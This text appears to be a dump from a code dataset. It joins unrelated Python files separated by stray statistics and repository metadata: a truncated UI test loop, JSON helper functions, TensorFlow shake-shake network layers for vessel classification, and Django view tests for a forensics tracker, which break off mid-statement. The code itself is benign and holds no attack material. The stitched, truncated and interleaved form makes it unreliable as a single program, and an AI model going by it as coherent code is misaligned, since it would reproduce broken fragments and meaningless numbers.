print "Test: view_all_page_in_loop - Sleep 5 Sec" print time.sleep(5) except: print "Test: view_all_page_in_loop - Catched Exception: Try to Log Back In" print self.eucaUITester.base.test_ui_login() if __name__ == "__main__": unittest.main()

38.478261

91

0.665537

419

3,540

5.26253

0.138425

0.261224

0.190476

0.228571

0.823129

0.763265

0.74059

0.668481

0.626757

0.586848

0

0.001494

0.243785

3,540

91

92

38.901099

0.822189

0

0.623377

0

0.14108

0.017812

0

null

0

0.012987

null

0.311688

0

null

1

0

null

0

1

0

7

b17c52119621696cbe5953d0f25704805976bc11

184

py

Python

supervised/utils/__init__.py

stjordanis/mljar-supervised

8c3f9d1ed527dfcfdaef91cf82e2779c5832e294

[ "MIT" ]

1,882

2018-11-05T13:20:54.000Z

2022-03-31T14:31:46.000Z

supervised/utils/__init__.py

stjordanis/mljar-supervised

8c3f9d1ed527dfcfdaef91cf82e2779c5832e294

[ "MIT" ]

499

2019-03-14T09:57:51.000Z

2022-03-30T06:00:43.000Z

supervised/utils/__init__.py

stjordanis/mljar-supervised

8c3f9d1ed527dfcfdaef91cf82e2779c5832e294

[ "MIT" ]

277

2019-02-08T21:32:13.000Z

2022-03-29T03:26:05.000Z

import json def json_loads(data, *args, **kwargs): return json.loads(data, *args, **kwargs) def json_dumps(data, *args, **kwargs): return json.dumps(data, *args, **kwargs)

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b19258b7ed35f1eebe13d223a10fbdd22d68884c

24,394

py

Python

classification/models/layers_shakex2.py

marketler/GFW_Vessel_Classification

fb2ada9aeebe2582b42e940db86674fd4da6fb07

[ "Apache-2.0" ]

null

classification/models/layers_shakex2.py

marketler/GFW_Vessel_Classification

fb2ada9aeebe2582b42e940db86674fd4da6fb07

[ "Apache-2.0" ]

null

classification/models/layers_shakex2.py

marketler/GFW_Vessel_Classification

fb2ada9aeebe2582b42e940db86674fd4da6fb07

[ "Apache-2.0" ]

null

# Copyright 2017 Google Inc. and Skytruth Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import tensorflow as tf import tensorflow.layers as ly import numpy as np from .shake_shake import shake_shake, shake_out, shake_out2 def zero_pad_features(features, depth): """ Zero-pad features in the depth dimension to match requested feature depth. """ n = int(features.get_shape().dims[-1]) extra_feature_count = depth - n assert n >= 0 if n > 0: padding = tf.tile(features[:, :, :1] * 0, [1, 1, extra_feature_count]) features = tf.concat([features, padding], 2) return features def repeat_tensor(input, n): batch_size, width, depth = input.get_shape() repeated = tf.concat([input] * n, 2) return tf.reshape(repeated, [-1, int(width) * n, int(depth)]) def shake2(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): y = tf.nn.relu(inputs) y1 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y1 = ly.batch_normalization(y1, training=training) y1 = tf.nn.relu(y1) y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid") y1 = ly.batch_normalization(y1, training=training) y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y2 = ly.batch_normalization(y2, training=training) y2 = tf.nn.relu(y2) y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid") y2 = ly.batch_normalization(y2, training=training) return shake_shake(y1, y2, training) def shakeout2(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): y = tf.nn.relu(inputs) y1 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y1 = ly.batch_normalization(y1, training=training) y1 = tf.nn.relu(y1) y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid") y1 = ly.batch_normalization(y1, training=training) y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y2 = ly.batch_normalization(y2, training=training) y2 = tf.nn.relu(y2) y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid") y2 = ly.batch_normalization(y2, training=training) return shake_out2(y1, y2, training) def shakeout(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): y = tf.nn.relu(inputs) y1, y2 = shake_out(y, training) y1 = ly.conv1d(y1, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y1 = ly.batch_normalization(y1, training=training) y1 = tf.nn.relu(y1) y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid") y1 = ly.batch_normalization(y1, training=training) y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid") y2 = ly.batch_normalization(y2, training=training) y2 = tf.nn.relu(y2) y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid") y2 = ly.batch_normalization(y2, training=training) return y1 + y2 def shake2_with_max(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): ss = shake2(inputs, filters, kernel_size, stride, training) mp = tf.layers.max_pooling1d( inputs, kernel_size, strides=stride, padding="valid") concat = tf.concat([ss, mp], 2) y = ly.conv1d(concat, filters, 1, activation=None, use_bias=False) y = ly.batch_normalization(y, training=training) return y def shake2_with_bypass(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): residual = shake2(inputs, filters, kernel_size, stride, training) # crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly crop = kernel_size // 2 thru = inputs if crop: thru = inputs[:, crop:-crop] thru = thru[:, ::stride] thru = zero_pad_features(thru, filters) return thru + residual def shakeout2_with_bypass(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): residual = shakeout2(inputs, filters, kernel_size, stride, training) # crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly crop = kernel_size // 2 thru = inputs if crop: thru = inputs[:, crop:-crop] thru = thru[:, ::stride] thru = zero_pad_features(thru, filters) return thru + residual def shake2_with_thru_max(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): ss = shake2(inputs, filters, kernel_size, stride, training) mp = tf.layers.max_pooling1d( inputs, kernel_size, strides=stride, padding="valid") concat = tf.concat([ss, mp], 2) y = ly.conv1d(concat, filters, 1, activation=None, use_bias=False) residual = ly.batch_normalization(y, training=training) # crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly crop = kernel_size // 2 thru = inputs if crop: thru = inputs[:, crop:-crop] thru = thru[:, ::stride] # if stride > 1: # thru = tf.layers.max_pooling1d( # thru, kernel_size, strides=stride, padding="valid") thru = zero_pad_features(thru, filters) return thru + residual def shake2_with_bypass(inputs, filters, kernel_size, stride, training, scope=None): with tf.name_scope(scope): residual = shake2(inputs, filters, kernel_size, stride, training) # crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly crop = kernel_size // 2 thru = inputs if crop: thru = inputs[:, crop:-crop] thru = thru[:, ::stride] # if stride > 1: # thru = tf.layers.max_pooling1d( # thru, kernel_size, strides=stride, padding="valid") thru = zero_pad_features(thru, filters) return thru + residual def shake2_model(inputs, filters_list, kernel_size, strides_list, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2_with_bypass(net, filters, kernel_size, stride, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shake2_max_model(inputs, filters_list, kernel_size, strides_list, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2_with_max(net, filters, kernel_size, stride, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shake2_thru_max_model(inputs, filters_list, kernel_size, strides_list, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2_with_thru_max(net, filters, kernel_size, stride, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shakeout_model(inputs, filters_list, kernel_size, strides_list, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shakeout2_with_bypass(net, filters, kernel_size, stride, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shake2_v2_model(inputs, filters_list, kernel_size, strides_list, final_layers, final_filters, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2(net, filters, kernel_size, stride, training) for _ in range(final_layers): net = shake2_with_bypass(net, final_filters, kernel_size, 1, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shake2_v3_model(inputs, filters_list, kernel_size, strides_list, final_layers, final_filters, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2_with_max(net, filters, kernel_size, stride, training) for _ in range(final_layers): net = shake2_with_bypass(net, final_filters, kernel_size, 1, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs def shake2_v4_model(inputs, filters_list, kernel_size, strides_list, training, objective_functions, sub_filters=128, sub_layers=2, dropout_rate=0.5, feature_means=None, feature_stds=None): """ A misconception tower. Args: input: a tensor of size [batch_size, 1, width, depth]. window_size: the width of the conv and pooling filters to apply. depth: the depth of the output tensor. levels: the height of the tower in misconception layers. objective_functions: a list of objective functions to add to the top of the network. is_training: whether the network is training. Returns: a tensor of size [batch_size, num_classes]. """ net = inputs if feature_means is not None: net = net - tf.constant(feature_means)[None, None, :] if feature_stds is not None: net = net / (tf.constant(feature_stds) + 1e-6) # Add a stem section to allow net to setup useful features filters = filters_list[0] net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid") net = ly.batch_normalization(net, training=training) net = tf.nn.relu(net) for filters, stride in zip(filters_list, strides_list): net = shake2_with_bypass(net, filters, kernel_size, stride, training) net = tf.nn.relu(net) outputs = [] for ofunc in objective_functions: onet = net for _ in range(sub_layers - 1): onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False) onet = ly.batch_normalization(onet, training=training) onet = tf.nn.relu(onet) onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu) onet = ly.flatten(onet) # onet = ly.dropout(onet, training=training, rate=dropout_rate) outputs.append(ofunc.build(onet)) return outputs

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b1a0d4535a8288275d8ed1d0e5f7ab920ec5958c

23,277

py

Python

dfirtrack_main/tests/reportitem/test_reportitem_views.py

stuhli/dfirtrack

9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e

[ "Apache-2.0" ]

273

2018-04-18T22:09:15.000Z

2021-06-04T09:15:48.000Z

dfirtrack_main/tests/reportitem/test_reportitem_views.py

stuhli/dfirtrack

9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e

[ "Apache-2.0" ]

75

2018-08-31T11:05:37.000Z

2021-06-08T14:15:07.000Z

dfirtrack_main/tests/reportitem/test_reportitem_views.py

stuhli/dfirtrack

9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e

[ "Apache-2.0" ]

61

2018-11-12T22:55:48.000Z

2021-06-06T15:16:16.000Z

import urllib.parse from django.contrib.auth.models import User from django.test import TestCase from dfirtrack_main.models import ( Case, Casepriority, Casestatus, Headline, Notestatus, Reportitem, System, Systemstatus, Tag, Tagcolor, ) class ReportitemViewTestCase(TestCase): """reportitem view tests""" @classmethod def setUpTestData(cls): # create user test_user = User.objects.create_user( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create objects headline_1 = Headline.objects.create(headline_name='headline_1') Notestatus.objects.create(notestatus_name='notestatus_1') systemstatus_1 = Systemstatus.objects.create(systemstatus_name='systemstatus_1') # create object system_1 = System.objects.create( system_name='system_1', systemstatus=systemstatus_1, system_created_by_user_id=test_user, system_modified_by_user_id=test_user, ) # create object Reportitem.objects.create( reportitem_note='lorem ipsum', system=system_1, headline=headline_1, reportitem_created_by_user_id=test_user, reportitem_modified_by_user_id=test_user, ) # create object tagcolor_1 = Tagcolor.objects.create(tagcolor_name='tagcolor_1') # create object Tag.objects.create(tag_name='tag_1', tagcolor=tagcolor_1) # create objects casepriority_1 = Casepriority.objects.create(casepriority_name='casepriority_1') casestatus_1 = Casestatus.objects.create(casestatus_name='casestatus_1') # create object Case.objects.create( case_name='case_1', case_is_incident=True, case_created_by_user_id=test_user, casepriority=casepriority_1, casestatus=casestatus_1, ) def test_reportitem_list_not_logged_in(self): """test list view""" # create url destination = '/login/?next=' + urllib.parse.quote('/reportitem/', safe='') # get response response = self.client.get('/reportitem/', follow=True) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_list_logged_in(self): """test list view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/') # compare self.assertEqual(response.status_code, 200) def test_reportitem_list_template(self): """test list view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/') # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_list.html' ) def test_reportitem_list_get_user_context(self): """test list view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/') # compare self.assertEqual(str(response.context['user']), 'testuser_reportitem') def test_reportitem_list_redirect(self): """test list view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create url destination = urllib.parse.quote('/reportitem/', safe='/') # get response response = self.client.get('/reportitem', follow=True) # compare self.assertRedirects( response, destination, status_code=301, target_status_code=200 ) def test_reportitem_detail_not_logged_in(self): """test detail view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # create url destination = '/login/?next=' + urllib.parse.quote( '/reportitem/' + str(reportitem_1.reportitem_id) + '/', safe='' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/', follow=True ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_detail_logged_in(self): """test detail view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/' ) # compare self.assertEqual(response.status_code, 200) def test_reportitem_detail_template(self): """test detail view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/' ) # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_detail.html' ) def test_reportitem_detail_get_user_context(self): """test detail view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/' ) # compare self.assertEqual(str(response.context['user']), 'testuser_reportitem') def test_reportitem_detail_redirect(self): """test detail view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create url destination = urllib.parse.quote( '/reportitem/' + str(reportitem_1.reportitem_id) + '/', safe='/' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id), follow=True ) # compare self.assertRedirects( response, destination, status_code=301, target_status_code=200 ) def test_reportitem_add_not_logged_in(self): """test add view""" # create url destination = '/login/?next=' + urllib.parse.quote('/reportitem/add/', safe='') # get response response = self.client.get('/reportitem/add/', follow=True) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_add_logged_in(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/add/') # compare self.assertEqual(response.status_code, 200) def test_reportitem_add_system_selected(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get object system_id = System.objects.get(system_name='system_1').system_id # get response response = self.client.get('/reportitem/add/?system=' + str(system_id)) # compare self.assertEqual(response.status_code, 200) def test_reportitem_add_template(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/add/') # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_generic_form.html' ) def test_reportitem_add_get_user_context(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get('/reportitem/add/') # compare self.assertEqual(str(response.context['user']), 'testuser_reportitem') def test_reportitem_add_redirect(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create url destination = urllib.parse.quote('/reportitem/add/', safe='/') # get response response = self.client.get('/reportitem/add', follow=True) # compare self.assertRedirects( response, destination, status_code=301, target_status_code=200 ) def test_reportitem_add_post_redirect(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get objects headline_id = Headline.objects.get(headline_name='headline_1').headline_id notestatus_id = Notestatus.objects.get( notestatus_name='notestatus_1' ).notestatus_id system_id = System.objects.get(system_name='system_1').system_id tag_id = Tag.objects.get(tag_name='tag_1').tag_id # create post data data_dict = { 'reportitem_note': 'reportitem_add_post_test', 'headline': headline_id, 'notestatus': notestatus_id, 'system': system_id, 'tag': [ tag_id, ], } # get response response = self.client.post('/reportitem/add/', data_dict) # create url destination = urllib.parse.quote('/system/' + str(system_id) + '/', safe='/') # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_add_post_redirect_documentation(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get objects headline_id = Headline.objects.get(headline_name='headline_1').headline_id notestatus_id = Notestatus.objects.get( notestatus_name='notestatus_1' ).notestatus_id system_id = System.objects.get(system_name='system_1').system_id tag_id = Tag.objects.get(tag_name='tag_1').tag_id # create post data data_dict = { 'reportitem_note': 'reportitem_add_post_test_documentation', 'headline': headline_id, 'notestatus': notestatus_id, 'system': system_id, 'tag': [ tag_id, ], } # get response response = self.client.post('/reportitem/add/?documentation', data_dict) # get object reportitem_id = Reportitem.objects.get( reportitem_note='reportitem_add_post_test_documentation' ).reportitem_id # create url destination = urllib.parse.quote( f'/documentation/#reportitem_id_{str(reportitem_id)}', safe='#/' ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_add_post_invalid_reload(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create post data data_dict = {} # get response response = self.client.post('/reportitem/add/', data_dict) # compare self.assertEqual(response.status_code, 200) def test_reportitem_add_post_invalid_template(self): """test add view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create post data data_dict = {} # get response response = self.client.post('/reportitem/add/', data_dict) # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_generic_form.html' ) def test_reportitem_edit_not_logged_in(self): """test edit view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # create url destination = '/login/?next=' + urllib.parse.quote( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', safe='' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', follow=True ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_edit_logged_in(self): """test edit view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/' ) # compare self.assertEqual(response.status_code, 200) def test_reportitem_edit_template(self): """test edit view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/' ) # compare self.assertTemplateUsed( response, 'dfirtrack_main/reportitem/reportitem_generic_form.html' ) def test_reportitem_edit_get_user_context(self): """test edit view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/' ) # compare self.assertEqual(str(response.context['user']), 'testuser_reportitem') def test_reportitem_edit_redirect(self): """test edit view""" # get object reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum') # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # create url destination = urllib.parse.quote( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', safe='/' ) # get response response = self.client.get( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit', follow=True ) # compare self.assertRedirects( response, destination, status_code=301, target_status_code=200 ) def test_reportitem_edit_post_redirect(self): """test edit view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get user test_user = User.objects.get(username='testuser_reportitem') # get objects headline_1 = Headline.objects.get(headline_name='headline_1') notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1') system_1 = System.objects.get(system_name='system_1') tag_id = Tag.objects.get(tag_name='tag_1').tag_id # create object reportitem_1 = Reportitem.objects.create( reportitem_note='reportitem_edit_post_test_1', headline=headline_1, notestatus=notestatus_1, system=system_1, reportitem_created_by_user_id=test_user, reportitem_modified_by_user_id=test_user, ) # create post data data_dict = { 'reportitem_note': 'reportitem_edit_post_test_2', 'headline': headline_1.headline_id, 'notestatus': notestatus_1.notestatus_id, 'system': system_1.system_id, 'tag': [ tag_id, ], } # get response response = self.client.post( '/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', data_dict ) # create url destination = urllib.parse.quote( '/system/' + str(system_1.system_id) + '/', safe='/' ) # compare self.assertRedirects( response, destination, status_code=302, target_status_code=200 ) def test_reportitem_edit_post_redirect_documentation(self): """test edit view""" # login testuser self.client.login( username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS' ) # get user test_user = User.objects.get(username='testuser_reportitem') # get objects headline_1 = 